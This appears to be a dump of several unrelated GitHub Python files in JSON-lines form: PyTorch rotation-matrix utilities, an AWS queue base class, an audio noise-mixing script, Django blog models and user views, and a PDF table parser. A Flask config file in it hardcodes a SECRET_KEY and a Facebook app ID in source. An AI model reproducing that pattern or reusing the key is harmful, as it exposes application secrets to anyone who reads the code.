_acos_linear_approximation(x[x_lower], lower_bound)\n\n return acos_extrap\n\n\n\ndef _acos_linear_approximation(x: torch.Tensor, x0: float) -> torch.Tensor:\n \"\"\"\n Calculates the 1st order Taylor expansion of `arccos(x)` around `x0`.\n \"\"\"\n return (x - x0) * _dacos_dx(x0) + math.acos(x0)\n\n\ndef _dacos_dx(x: float) -> float:\n \"\"\"\n Calculates the derivative of `arccos(x)` w.r.t. `x`.\n \"\"\"\n return (-1.0) / math.sqrt(1.0 - x * x)\n\n\n\ndef so3_relative_angle(\n R1: torch.Tensor,\n R2: torch.Tensor,\n cos_angle: bool = False,\n cos_bound: float = 1e-4,\n eps: float = 1e-4,\n) -> torch.Tensor:\n \"\"\"\n Calculates the relative angle (in radians) between pairs of\n rotation matrices `R1` and `R2` with `angle = acos(0.5 * (Trace(R1 R2^T)-1))`\n\n .. note::\n This corresponds to a geodesic distance on the 3D manifold of rotation\n matrices.\n\n Args:\n R1: Batch of rotation matrices of shape `(minibatch, 3, 3)`.\n R2: Batch of rotation matrices of shape `(minibatch, 3, 3)`.\n cos_angle: If==True return cosine of the relative angle rather than\n the angle itself. This can avoid the unstable calculation of `acos`.\n cos_bound: Clamps the cosine of the relative rotation angle to\n [-1 + cos_bound, 1 - cos_bound] to avoid non-finite outputs/gradients\n of the `acos` call. Note that the non-finite outputs/gradients\n are returned when the angle is requested (i.e. `cos_angle==False`)\n and the rotation angle is close to 0 or π.\n eps: Tolerance for the valid trace check of the relative rotation matrix\n in `so3_rotation_angle`.\n Returns:\n Corresponding rotation angles of shape `(minibatch,)`.\n If `cos_angle==True`, returns the cosine of the angles.\n\n Raises:\n ValueError if `R1` or `R2` is of incorrect shape.\n ValueError if `R1` or `R2` has an unexpected trace.\n \"\"\"\n R12 = torch.bmm(R1, R2.permute(0, 2, 1))\n return so3_rotation_angle(R12, cos_angle=cos_angle, cos_bound=cos_bound, eps=eps)\n\n\n\n\ndef so3_rotation_angle(\n R: torch.Tensor,\n eps: float = 1e-4,\n cos_angle: bool = False,\n cos_bound: float = 1e-4,\n) -> torch.Tensor:\n \"\"\"\n Calculates angles (in radians) of a batch of rotation matrices `R` with\n `angle = acos(0.5 * (Trace(R)-1))`. The trace of the\n input matrices is checked to be in the valid range `[-1-eps,3+eps]`.\n The `eps` argument is a small constant that allows for small errors\n caused by limited machine precision.\n\n Args:\n R: Batch of rotation matrices of shape `(minibatch, 3, 3)`.\n eps: Tolerance for the valid trace check.\n cos_angle: If==True return cosine of the rotation angles rather than\n the angle itself. This can avoid the unstable\n calculation of `acos`.\n cos_bound: Clamps the cosine of the rotation angle to\n [-1 + cos_bound, 1 - cos_bound] to avoid non-finite outputs/gradients\n of the `acos` call. Note that the non-finite outputs/gradients\n are returned when the angle is requested (i.e. `cos_angle==False`)\n and the rotation angle is close to 0 or π.\n\n Returns:\n Corresponding rotation angles of shape `(minibatch,)`.\n If `cos_angle==True`, returns the cosine of the angles.\n\n Raises:\n ValueError if `R` is of incorrect shape.\n ValueError if `R` has an unexpected trace.\n \"\"\"\n\n N, dim1, dim2 = R.shape\n if dim1 != 3 or dim2 != 3:\n raise ValueError(\"Input has to be a batch of 3x3 Tensors.\")\n\n rot_trace = R[:, 0, 0] + R[:, 1, 1] + R[:, 2, 2]\n\n if ((rot_trace < -1.0 - eps) + (rot_trace > 3.0 + eps)).any():\n raise ValueError(\"A matrix has trace outside valid range [-1-eps,3+eps].\")\n\n # phi ... rotation angle\n phi_cos = (rot_trace - 1.0) * 0.5\n\n if cos_angle:\n return phi_cos\n else:\n if cos_bound > 0.0:\n bound = 1.0 - cos_bound\n return acos_linear_extrapolation(phi_cos, (-bound, bound))\n else:\n return torch.acos(phi_cos)\n\n\n\n\ndef so3_exp_map(log_rot: torch.Tensor, eps: float = 0.0001) -> torch.Tensor:\n \"\"\"\n Convert a batch of logarithmic representations of rotation matrices `log_rot`\n to a batch of 3x3 rotation matrices using Rodrigues formula [1].\n\n In the logarithmic representation, each rotation matrix is represented as\n a 3-dimensional vector (`log_rot`) who's l2-norm and direction correspond\n to the magnitude of the rotation angle and the axis of rotation respectively.\n\n The conversion has a singularity around `log(R) = 0`\n which is handled by clamping controlled with the `eps` argument.\n\n Args:\n log_rot: Batch of vectors of shape `(minibatch, 3)`.\n eps: A float constant handling the conversion singularity.\n\n Returns:\n Batch of rotation matrices of shape `(minibatch, 3, 3)`.\n\n Raises:\n ValueError if `log_rot` is of incorrect shape.\n\n [1] https://en.wikipedia.org/wiki/Rodrigues%27_rotation_formula\n \"\"\"\n return _so3_exp_map(log_rot, eps=eps)[0]\n\n\n\n\ndef so3_exponential_map(log_rot: torch.Tensor, eps: float = 0.0001) -> torch.Tensor:\n warnings.warn(\n \"\"\"so3_exponential_map is deprecated,\n Use so3_exp_map instead.\n so3_exponential_map will be removed in future releases.\"\"\",\n PendingDeprecationWarning,\n )\n\n return so3_exp_map(log_rot, eps)\n\n\n\ndef _so3_exp_map(\n log_rot: torch.Tensor, eps: float = 0.0001\n) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\"\n A helper function that computes the so3 exponential map and,\n apart from the rotation matrix, also returns intermediate variables\n that can be re-used in other functions.\n \"\"\"\n _, dim = log_rot.shape\n if dim != 3:\n raise ValueError(\"Input tensor shape has to be Nx3.\")\n\n nrms = (log_rot * log_rot).sum(1)\n # phis ... rotation angles\n rot_angles = torch.clamp(nrms, eps).sqrt()\n rot_angles_inv = 1.0 / rot_angles\n fac1 = rot_angles_inv * rot_angles.sin()\n fac2 = rot_angles_inv * rot_angles_inv * (1.0 - rot_angles.cos())\n skews = hat(log_rot)\n skews_square = torch.bmm(skews, skews)\n\n R = (\n # pyre-fixme[16]: `float` has no attribute `__getitem__`.\n fac1[:, None, None] * skews\n + fac2[:, None, None] * skews_square\n + torch.eye(3, dtype=log_rot.dtype, device=log_rot.device)[None]\n )\n\n return R, rot_angles, skews, skews_square\n\n\n\ndef so3_log_map(\n R: torch.Tensor, eps: float = 0.0001, cos_bound: float = 1e-4\n) -> torch.Tensor:\n \"\"\"\n Convert a batch of 3x3 rotation matrices `R`\n to a batch of 3-dimensional matrix logarithms of rotation matrices\n The conversion has a singularity around `(R=I)` which is handled\n by clamping controlled with the `eps` and `cos_bound` arguments.\n\n Args:\n R: batch of rotation matrices of shape `(minibatch, 3, 3)`.\n eps: A float constant handling the conversion singularity.\n cos_bound: Clamps the cosine of the rotation angle to\n [-1 + cos_bound, 1 - cos_bound] to avoid non-finite outputs/gradients\n of the `acos` call when computing `so3_rotation_angle`.\n Note that the non-finite outputs/gradients are returned when\n the rotation angle is close to 0 or π.\n\n Returns:\n Batch of logarithms of input rotation matrices\n of shape `(minibatch, 3)`.\n\n Raises:\n ValueError if `R` is of incorrect shape.\n ValueError if `R` has an unexpected trace.\n \"\"\"\n\n N, dim1, dim2 = R.shape\n if dim1 != 3 or dim2 != 3:\n raise ValueError(\"Input has to be a batch of 3x3 Tensors.\")\n\n phi = so3_rotation_angle(R, cos_bound=cos_bound, eps=eps)\n\n phi_sin = torch.sin(phi)\n\n # We want to avoid a tiny denominator of phi_factor = phi / (2.0 * phi_sin).\n # Hence, for phi_sin.abs() <= 0.5 * eps, we approximate phi_factor with\n # 2nd order Taylor expansion: phi_factor = 0.5 + (1.0 / 12) * phi**2\n phi_factor = torch.empty_like(phi)\n ok_denom = phi_sin.abs() > (0.5 * eps)\n phi_factor[~ok_denom] = 0.5 + (phi[~ok_denom] ** 2) * (1.0 / 12)\n phi_factor[ok_denom] = phi[ok_denom] / (2.0 * phi_sin[ok_denom])\n\n log_rot_hat = phi_factor[:, None, None] * (R - R.permute(0, 2, 1))\n\n log_rot = hat_inv(log_rot_hat)\n\n return log_rot\n\n\n\ndef hat_inv(h: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Compute the inverse Hat operator [1] of a batch of 3x3 matrices.\n\n Args:\n h: Batch of skew-symmetric matrices of shape `(minibatch, 3, 3)`.\n\n Returns:\n Batch of 3d vectors of shape `(minibatch, 3, 3)`.\n\n Raises:\n ValueError if `h` is of incorrect shape.\n ValueError if `h` not skew-symmetric.\n\n [1] https://en.wikipedia.org/wiki/Hat_operator\n \"\"\"\n\n N, dim1, dim2 = h.shape\n if dim1 != 3 or dim2 != 3:\n raise ValueError(\"Input has to be a batch of 3x3 Tensors.\")\n\n ss_diff = torch.abs(h + h.permute(0, 2, 1)).max()\n\n HAT_INV_SKEW_SYMMETRIC_TOL = 1e-5\n if float(ss_diff) > HAT_INV_SKEW_SYMMETRIC_TOL:\n raise ValueError(\"One of input matrices is not skew-symmetric.\")\n\n x = h[:, 2, 1]\n y = h[:, 0, 2]\n z = h[:, 1, 0]\n\n v = torch.stack((x, y, z), dim=1)\n\n return v\n\n\ndef hat(v: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Compute the Hat operator [1] of a batch of 3D vectors.\n\n Args:\n v: Batch of vectors of shape `(minibatch , 3)`.\n\n Returns:\n Batch of skew-symmetric matrices of shape\n `(minibatch, 3 , 3)` where each matrix is of the form:\n `[ 0 -v_z v_y ]\n [ v_z 0 -v_x ]\n [ -v_y v_x 0 ]`\n\n Raises:\n ValueError if `v` is of incorrect shape.\n\n [1] https://en.wikipedia.org/wiki/Hat_operator\n \"\"\"\n\n N, dim = v.shape\n if dim != 3:\n raise ValueError(\"Input vectors have to be 3-dimensional.\")\n\n h = torch.zeros((N, 3, 3), dtype=v.dtype, device=v.device)\n\n x, y, z = v.unbind(1)\n\n h[:, 0, 1] = -z\n h[:, 0, 2] = y\n h[:, 1, 0] = z\n h[:, 1, 2] = -x\n h[:, 2, 0] = -y\n h[:, 2, 1] = x\n\n return h","repo_name":"robot-perception-group/mop","sub_path":"src/mop/utils/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":31031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18556693608","text":"# _*_ coding: utf-8\n\nimport boto3\n\nBASE_CONFIG = {\n 'env': 'test',\n 'region': 'us-east-1',\n 's3ApiVersion': '2006-03-01',\n 'sqsApiVersion': '2012-11-05',\n 'snsApiVersion': '2010-03-31',\n 'sqsListnerDefaults': {\n 'MaxNumberOfMessages': 1,\n 'VisibilityTimeout': 60,\n 'WaitTimeSeconds': 10\n },\n 'maxSize': 262144,\n}\n\n\nclass QueuedBase(object):\n def __init__(self, config, application, aws_owner=None, aws_access_key_id=None, aws_secret_access_key=None, subscriptions=[], publications=[], bucket=None):\n self.config = BASE_CONFIG.copy()\n self.config.update(config)\n self.application = application\n self.aws_access_key_id = aws_access_key_id\n self.aws_secret_access_key = aws_secret_access_key\n self.subscriptions = subscriptions\n self.publications = publications\n self.env = self.config['env']\n self.region = self.config['region']\n self.maxSize = self.config['maxSize']\n self.bucket_name = bucket\n if self.bucket_name is None:\n self.bucket_name = 'queued-' + self.env\n self.aws_owner = aws_owner\n if not self.aws_owner:\n # Request account id from Simple Token Service\n # As of right now, we either provide the aws_owner in the config, or we're\n # running on lambda, so if we get here we know that we're in lambda land\n # and therefore have access to STS\n self.aws_owner = boto3.client('sts').get_caller_identity().get('Account')\n","repo_name":"RunTitle/py-queued","sub_path":"queued/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4491520290","text":"import numpy as np\nimport os\nimport soundfile as sf\nfrom tqdm import tqdm\n\nnp.random.seed(seed=42)\n\ndef get_speech_regions(speech_regions_path):\n speech_regions = {}\n for file in os.listdir(speech_regions_path):\n speech_regions[file[:-4]] = np.load(os.path.join(speech_regions_path, file))\n return speech_regions\n \ndef read_config(config_path):\n config = {}\n class_names = []\n class_probs = []\n with open(config_path) as f:\n lines = [line.rstrip() for line in f.readlines()]\n for line in lines[1:]:\n class_name = line.split()[0]\n class_prob = float(line.split()[-1])\n distrib_name = line.split()[1].split(',')[0]\n distrib_params = list(map(float,line.split()[1].split(',')[1:]))\n class_names.append(class_name)\n class_probs.append(class_prob)\n \n config[class_name] = (distrib_name, distrib_params, class_prob)\n return config, class_names, class_probs\n \n \n \n\ndef main():\n orig_base_path = r'/srv/data/raw_data/AMI/amicorpus'\n noises_base_path = r'/srv/data/raw_data/office_noises_for_AMI/simulated_noises'\n speech_regions_path = './speech_regions/'\n config_path = './config'\n out_destination = r'/srv/data/raw_data/AMI/amicorpus_noisy/amicorpus_noised'\n speech_regions = get_speech_regions(speech_regions_path)\n config, class_names, class_probs = read_config(config_path)\n \n noises_list = os.listdir(noises_base_path)\n \n # read session data\n for dir in tqdm(os.listdir(orig_base_path)):\n if 'beamformed' in dir:\n continue\n if dir in os.listdir(out_destination):\n continue\n print('current session is ', dir)\n out_file = open('./noised_corpus_info/{}.txt'.format(dir), 'w')\n lines_to_out_file = []\n \n percent_of_noises = np.random.uniform(0.4, 0.61)\n curr_len_noises = 0\n curr_session = [0 for _ in range(8)]\n \n \n for session_path in os.listdir(os.path.join(orig_base_path, dir, './audio')):\n # read wavs only for Array1\n if session_path.split('.')[1].startswith('Array1'):\n channel_n = int(session_path.split('.')[1].split('-')[-1])\n session_wav, session_sr = sf.read(os.path.join(orig_base_path, dir, './audio', session_path))\n curr_session[channel_n-1] = session_wav\n print('read session is done')\n \n \n curr_session = np.array(curr_session)\n \n if curr_session.ndim != 2:\n continue\n \n \n # calculate mean power of speech during session\n print('start calculate power of speech regions...')\n speech_region_curr_session = np.zeros(curr_session.shape[1])\n for reg in speech_regions[dir]:\n speech_region_curr_session[int(reg[0]*session_sr):int(reg[1]*session_sr)] = 1\n mean_power_session = np.mean(curr_session[:, speech_region_curr_session==1]**2)\n out_file.write('{}, length = {:.2f} s, percent_of_speech = {:.2f}, percent_of_noises = {:.2f}\\n'.format(dir,\n curr_session.shape[1]/session_sr, \n np.mean(speech_region_curr_session), \n percent_of_noises))\n print('calculation is done!')\n \n \n # do mix with noise until the desired length\n print('start add noises to session {}'.format(dir))\n needed_noise_len = int(curr_session.shape[1]*percent_of_noises)\n \n while curr_len_noises < needed_noise_len:\n noise_class = np.random.choice(class_names, p=class_probs)\n curr_noise_file = np.random.choice([noise for noise in noises_list if noise.startswith(noise_class)])\n \n curr_noise = [0 for _ in range(8)]\n for noise_wav_path in os.listdir(os.path.join(noises_base_path, curr_noise_file)):\n curr_noise_ch = int(noise_wav_path[:-4][-1])\n curr_noise_wav, noise_sr = sf.read(os.path.join(noises_base_path, curr_noise_file, noise_wav_path))\n assert noise_sr == session_sr\n curr_noise[curr_noise_ch] = curr_noise_wav\n curr_noise = np.array(curr_noise)\n if curr_noise.shape[1] < 3*noise_sr:\n curr_noise = np.tile(curr_noise, int(np.ceil(3*noise_sr/curr_noise.shape[1])))\n \n # change noise sound to desired snr\n mean_power_noise = np.mean(curr_noise**2)\n curr_snr = 10*np.log10(mean_power_session/(mean_power_noise+1e-7))\n \n snr_distrib = config[noise_class][0]\n if snr_distrib == 'normal':\n \n mu, std = config[noise_class][1][0], config[noise_class][1][1]\n desired_snr = max(-1,np.random.normal(mu, std))\n \n curr_noise = curr_noise * 10**((curr_snr-desired_snr)/20)\n \n # add noise\n noise_add_start = np.random.randint(0, curr_session.shape[1] - curr_noise.shape[1])\n curr_session[:, noise_add_start:noise_add_start+curr_noise.shape[1]] += curr_noise\n curr_len_noises += curr_noise.shape[1]\n \n # add info about added noise\n lines_to_out_file.append([curr_noise_file, noise_add_start/noise_sr,(noise_add_start+curr_noise.shape[1])/noise_sr,desired_snr])\n \n \n lines_to_out_file = sorted(lines_to_out_file, key=lambda x: x[1])\n for line in lines_to_out_file:\n out_file.write('noise: {}, start: {:.4f} s end: {:.4f} s, duration: {:.4f} s, snr: {:.2f}\\n'.format(line[0], line[1], line[2], line[2]-line[1], line[3]))\n # save noised session\n \n out_path = os.path.join(out_destination, dir)\n os.mkdir(out_path)\n for i in range(curr_session.shape[0]):\n out_path_wav = os.path.join(out_path, dir+'.Array1-0{}.wav'.format(i+1))\n sf.write(out_path_wav, curr_session[i,:], session_sr)\n \n out_file.close()\n print('\\n\\n\\n')\n \nif __name__ == '__main__':\n main()\n \n \n \n \n \n \n","repo_name":"sergeiastapov/nAMI","sub_path":"add_noise_ami.py","file_name":"add_noise_ami.py","file_ext":"py","file_size_in_byte":6450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31633574643","text":"from django.db import models\nfrom django.contrib.auth import get_user_model\n\nADMIN_MODEL_TITLE_CUT = 20\nADMIN_MODEL_COMMENT_CUT = 50\n\nUser = get_user_model()\n\n\ndef get_formatted_description(title, letter_count):\n return (f'{title[:letter_count]}'\n f'{title[letter_count:] and \"..\"}')\n\n\nclass BaseModel(models.Model):\n is_published = models.BooleanField(\n 'Опубликовано',\n default=True,\n help_text='Снимите галочку, чтобы скрыть публикацию.'\n )\n created_at = models.DateTimeField(\n 'Добавлено',\n auto_now_add=True\n )\n\n class Meta:\n abstract = True\n\n\nclass Category(BaseModel):\n title = models.CharField(\n 'Заголовок',\n max_length=256\n )\n description = models.TextField(verbose_name='Описание')\n slug = models.SlugField(\n 'Идентификатор',\n unique=True,\n help_text=('Идентификатор страницы для URL; '\n 'разрешены символы латиницы, цифры, дефис и подчёркивание.')\n )\n\n def __str__(self):\n return get_formatted_description(self.title, ADMIN_MODEL_TITLE_CUT)\n\n class Meta:\n verbose_name = 'категория'\n verbose_name_plural = 'Категории'\n\n\nclass Location(BaseModel):\n name = models.CharField(\n 'Название места',\n max_length=256\n )\n\n class Meta:\n verbose_name = 'местоположение'\n verbose_name_plural = 'Местоположения'\n\n def __str__(self):\n return get_formatted_description(self.name, ADMIN_MODEL_TITLE_CUT)\n\n\nclass Post(BaseModel):\n title = models.CharField(\n 'Заголовок',\n max_length=256\n )\n text = models.TextField('Текст')\n pub_date = models.DateTimeField(\n 'Дата и время публикации',\n help_text=('Если установить дату и время в будущем '\n '— можно делать отложенные публикации.')\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n verbose_name='Автор публикации'\n )\n location = models.ForeignKey(\n Location,\n on_delete=models.SET_NULL,\n null=True,\n related_name='locations',\n verbose_name='Местоположение'\n )\n category = models.ForeignKey(\n Category,\n on_delete=models.SET_NULL,\n null=True,\n related_name='categories',\n verbose_name='Категория'\n )\n image = models.ImageField(\n 'Изображение',\n upload_to='blog_images',\n blank=True\n )\n\n class Meta:\n verbose_name = 'публикация'\n verbose_name_plural = 'Публикации'\n ordering = ('-pub_date',)\n\n def __str__(self):\n return get_formatted_description(self.title, ADMIN_MODEL_TITLE_CUT)\n\n\nclass Comment(BaseModel):\n text = models.TextField('Текст')\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n verbose_name='Автор комментария'\n )\n post = models.ForeignKey(\n Post,\n related_name='comments',\n on_delete=models.CASCADE,\n verbose_name='Пост'\n )\n\n class Meta:\n verbose_name = 'комментарий'\n verbose_name_plural = 'Комментарии'\n\n def __str__(self):\n return get_formatted_description(self.text, ADMIN_MODEL_COMMENT_CUT)\n","repo_name":"DocSova/django_sprint4","sub_path":"blogicum/blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17267696805","text":"# Variables globales utilisables sur tout le projet\n\nimport os\nSECRET_KEY = \"#d#JCqTTW\\nilK\\\\7m\\x0bp#\\tj~#H\"\n\nFB_API_ID = \"986598165347670\"\n\n# Database initialization\nbasedir = os.path.abspath(os.path.dirname(__file__))\n# basedir is the absolute path of the directory where the program resides.\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db')\n","repo_name":"MikeWalder/Flask-initiation","sub_path":"FlaskApps/concevoir-flask/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26864344523","text":"from django.contrib.auth import get_user_model\nfrom rest_framework import viewsets, mixins, permissions\nfrom rest_framework.response import Response\nfrom .serializers import UserSerializer, UserInfoSerializer, UserRegSerializer\n\nfrom .filters import UserFilter\n\nfrom menu.common import get_menu_tree\nfrom django.contrib.auth.models import Group\n\n\nUser = get_user_model()\n\n\nclass UserRegViewset(mixins.CreateModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n \"\"\"\n create:\n 创建用户\n \n update:\n 修改密码\n \"\"\"\n queryset = User.objects.all()\n serializer_class = UserRegSerializer\n\n# from rest_framework import viewsets,\nclass UserInfoViewset(viewsets.ViewSet):\n# class UserInfoViewset(viewsets.ModelViewSet):\n \"\"\"\n 获取当前登陆的用户信息\n \"\"\"\n# queryset = User.objects.all()\n# serializer_class = UserInfoSerializer\n# filter_class = UserFilter\n# filter_fields = (\"username\",)\n# extra_perms_map = {\n# \"GET\": [\"users.show_user_list\"]\n# }\n#\n# def get_queryset(self):\n# queryset = super(UserInfoViewset, self).get_queryset()\n# queryset = queryset.order_by(\"id\")\n# queryset = queryset.exclude(is_superuser=True)\n# return queryset\n\n permission_classes = (permissions.IsAuthenticated,)\n def list(self, request, *args, **kwargs):\n # 获取登陆用户的用户组信息\n user = self.request.user\n user_groups_obj = user.groups.values()\n user_groups_info = {}\n user_groups_infos = []\n from copy import deepcopy\n for group_obj in user_groups_obj:\n user_groups_info[\"gid\"] = group_obj[\"id\"]\n user_groups_info[\"gname\"] = group_obj[\"name\"]\n\n user_groups_infos.append(user_groups_info)\n # 需要深度复制 否则下次更改时会连之前的列表中的值一起更改\n user_groups_info = deepcopy(user_groups_info)\n\n # 如果登录用户是超级用户则返回所有的组ID\n if self.request.user.is_superuser:\n user_groups_infos = Group.objects.values()\n # print(user_groups_infos)\n data = {\n \"username\": self.request.user.username,\n \"name\": self.request.user.name,\n \"is_superuser\": self.request.user.is_superuser,\n \"groupsinfo\": user_groups_infos,\n \"menus\": get_menu_tree(self.request.user.get_view_permissions())\n }\n else:\n data = {\n \"username\": self.request.user.username,\n \"name\": self.request.user.name,\n \"is_superuser\": self.request.user.is_superuser,\n \"groupsinfo\": user_groups_infos,\n \"menus\": get_menu_tree(self.request.user.get_view_permissions())\n }\n\n return Response(data)\n\n\nclass UsersViewset(viewsets.ModelViewSet):\n \"\"\"\n retrieve:\n 获取用户信息\n\n list:\n 获取用户列表\n\n update:\n 更新用户信息\n\n delete:\n 删除用户\n \"\"\"\n queryset = User.objects.all()\n serializer_class = UserSerializer\n filter_class = UserFilter\n filter_fields = (\"username\",)\n extra_perms_map = {\n \"GET\": [\"users.show_user_list\"]\n }\n\n def get_queryset(self):\n queryset = super(UsersViewset, self).get_queryset()\n queryset = queryset.order_by(\"id\")\n queryset = queryset.exclude(is_superuser=True)\n return queryset\n","repo_name":"sunfan666/cmdb","sub_path":"apps/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"43328909167","text":"\"\"\"\nPDF Analyzer script for processing tables\n\"\"\"\n\nimport re\n\n# TO DO: improve this.\nPAGE_SIZE = 1000\n\nre_textline = re.compile(\".+?\",\n re.DOTALL)\nre_table_caption_short = re.compile(r\"Table (\\d+):\")\n\n\nclass TextLine:\n \"\"\" Class which represents text lines.\n\n Each line has 4 coords, text and coordinates of spaces.\n params - can be either text or list. In case of text it is processed\n as a line from xml file. In case of list, a new copy of TextLine is\n created from it - this is used when we are splitting or merging\n existing lines.\n \"\"\"\n re_bbox = re.compile(\"bbox=\\\"([0-9.,]+)\\\"\")\n re_text_symbol = re.compile(\"([^ ]+)\")\n r = \"([^ ]+)\"\n re_text_symbol_params = re.compile(r)\n re_text_space = re.compile(\" \")\n\n def __init__(self, params=False, text_symbols=None):\n if isinstance(params, str) or isinstance(params, unicode):\n lines = params.split(\"\\n\")\n\n self.text = \"\"\n if text_symbols is not None:\n self.symbols = {}\n for line in lines:\n f = self.re_text_symbol_params.match(line)\n if f:\n self.text += f.group(3)\n font = f.group(1)\n size = float(f.group(2))\n if (font, size) in text_symbols:\n text_symbols[font, size] += 1\n else:\n text_symbols[font, size] = 1\n if (font, size) in self.symbols:\n self.symbols[font, size] += 1\n else:\n self.symbols[font, size] = 1\n f = self.re_text_space.match(l)\n if f:\n self.text += \" \"\n return None\n\n self.spaces_coords = []\n after_space = False\n first = lines.pop(0)\n coords = self.re_bbox.search(first).group(1)\n # Pdf miner has Y-axis pointed upwards, which does not suits\n # us for several reasons.\n [self.left, self.bottom, self.right, self.top] = coords.split(\",\")\n self.left = float(self.left)\n self.right = float(self.right)\n self.top = float(self.top)\n self.bottom = float(self.bottom)\n\n for line in lines:\n f = self.re_text_symbol.match(line)\n if f:\n self.text += f.group(1)\n coords = self.re_bbox.search(line)\n if coords:\n [l0, t0, r0, b0] = coords.group(1).split(\",\")\n if after_space:\n self.spaces_coords[-1][1] = float(l0)\n after_space = False\n continue\n f = self.re_text_space.match(line)\n if f:\n self.text += \" \"\n self.spaces_coords.append([float(r0), 0])\n after_space = True\n\n elif isinstance(params, list):\n [self.left, self.top, self.right, self.bottom,\n self.text, self.spaces_coords] = params\n\n self.center = [(self.left + self.right) / 2,\n (self.top + self.bottom) / 2]\n\n def swap_y(self, top):\n \"\"\" Change Y-coords according to new Y-axis. \"\"\"\n self.top = top - self.top\n self.bottom = top - self.bottom\n self.center = [(self.left + self.right) / 2,\n (self.top + self.bottom) / 2]\n\n def same_row(self, line):\n \"\"\" Determine whether line and self belong to the same row.\n\n Y coordinates are compared to do so.\n \"\"\"\n if line.center[1] >= self.top and line.center[1] <= self.bottom:\n return True\n else:\n return False\n\n def split(self, space):\n \"\"\" Split self into two lines by breaking over the space. \"\"\"\n words = self.text.split()\n words1 = words[:self.spaces_coords.index(space) + 1]\n words2 = words[self.spaces_coords.index(space) + 1:]\n left1 = self.left\n right1 = space[0]\n text1 = \" \".join(words1)\n spaces1 = self.spaces_coords[:self.spaces_coords.index(space)]\n nl1 = TextLine([left1, self.top, right1, self.bottom, text1, spaces1])\n left2 = space[1]\n right2 = self.right\n text2 = \" \".join(words2)\n spaces2 = self.spaces_coords[self.spaces_coords.index(space) + 1:]\n nl2 = TextLine([left2, self.top, right2, self.bottom, text2, spaces2])\n return [nl1, nl2]\n\n def merge(self, line):\n \"\"\" Merge two overlapping lines. \"\"\"\n left = min(self.left, line.left)\n top = min(self.top, line.top)\n right = max(self.right, line.right)\n bottom = max(self.bottom, line.bottom)\n text = self.text + line.text\n spaces = self.spaces_coords + line.spaces_coords\n nl = TextLine([left, top, right, bottom, text, spaces])\n return nl\n\n\ndef row_centery(row):\n \"\"\" Calculate average y-center in a row. \"\"\"\n return sum([line.center[1] for line in row]) / len(row)\n\n\nclass Table:\n re_month = re.compile(\"(january|february|march|april|may|june|july|august\"\n \"|september|october|november|december)\")\n\n def __init__(self, caption, rows, caption_position):\n # Table description\n self.caption = caption\n\n # Remove rows which contain date - this is used because\n # sometimes date stamped on a page gets caught while we are\n # searching for table lines.\n self.rows = []\n for row in rows:\n date_row = False\n for line in row:\n if self.re_month.search(line.text.lower()):\n date_row = True\n break\n if not date_row:\n row.sort(key=lambda line: line.center[0])\n self.rows.append(row)\n\n # Separate table lines from text above table. This is done by\n # looking for a space between rows which is too large.\n max_diff = False\n if caption_position < 0:\n r = 0\n while r < len(self.rows) - 1:\n if not max_diff:\n max_diff = row_centery(self.rows[r + 1])\\\n - row_centery(self.rows[r])\n else:\n diff = row_centery(self.rows[r + 1]) - \\\n row_centery(self.rows[r])\n if diff > 1.4 * max_diff:\n del self.rows[r + 1:]\n break\n elif diff > max_diff:\n max_diff = diff\n r += 1\n else:\n r = len(self.rows) - 1\n while r > 0:\n if not max_diff:\n max_diff = row_centery(self.rows[r])\\\n - row_centery(self.rows[r - 1])\n else:\n diff = row_centery(self.rows[r]) - \\\n row_centery(self.rows[r - 1])\n if diff > 1.4 * max_diff:\n del self.rows[:r]\n break\n elif diff > max_diff:\n max_diff = diff\n r -= 1\n\n # Find overlapping (by X coordinate) lines and merge them. So\n # far this was required to deal with rows where several lines\n # are above each other. No additional spaces are added.\n rows = []\n for row in self.rows:\n new_row = []\n line = row[0]\n for i in range(1, len(row)):\n if line.right < row[i].left:\n new_row.append(line)\n line = row[i]\n else:\n line = line.merge(row[i])\n new_row.append(line)\n rows.append(new_row)\n self.rows = rows\n\n # If not all rows have same length, attempt to break short rows.\n if self.rows:\n i = 0\n while True:\n len_min = len(min(self.rows, key=lambda row: len(row)))\n len_max = len(max(self.rows, key=lambda row: len(row)))\n if len_min == len_max:\n break\n else:\n self.break_short_rows(len_max)\n i += 1\n if i == 2:\n # Too much breaking attempts.\n break\n\n def construct_row(self, first_line, used_lines):\n \"\"\" Construct a row which contains given line.\n\n Lines which were already used are not used again.\n \"\"\"\n row = [first_line]\n for line in self.lines:\n if line != first_line and line not in used_lines \\\n and first_line.same_row(line):\n row.append(line)\n return row\n\n def row_text(self, num=None, row=False):\n \"\"\" Return a combined text of all row lines.\n\n Spaces between lines are replaced with \"!\".\n \"\"\"\n if num is not None or num == 0:\n row = self.rows[num]\n return \"!\".join([line.text for line in row])\n\n def break_short_rows(self, max_elements):\n \"\"\" Attempt to break lines in rows which are too short. \"\"\"\n normal_rows = []\n short_rows = []\n # Divide rows into short and normal.\n for row in self.rows:\n if len(row) == max_elements:\n normal_rows.append(row)\n else:\n short_rows.append(row)\n main_row = normal_rows[0]\n # Calculate x coord for centers of each column in first normal\n # row.\n main_centers = [(line.left + line.right) / 2 for line in main_row]\n # Calculate x boundaries of each column.\n 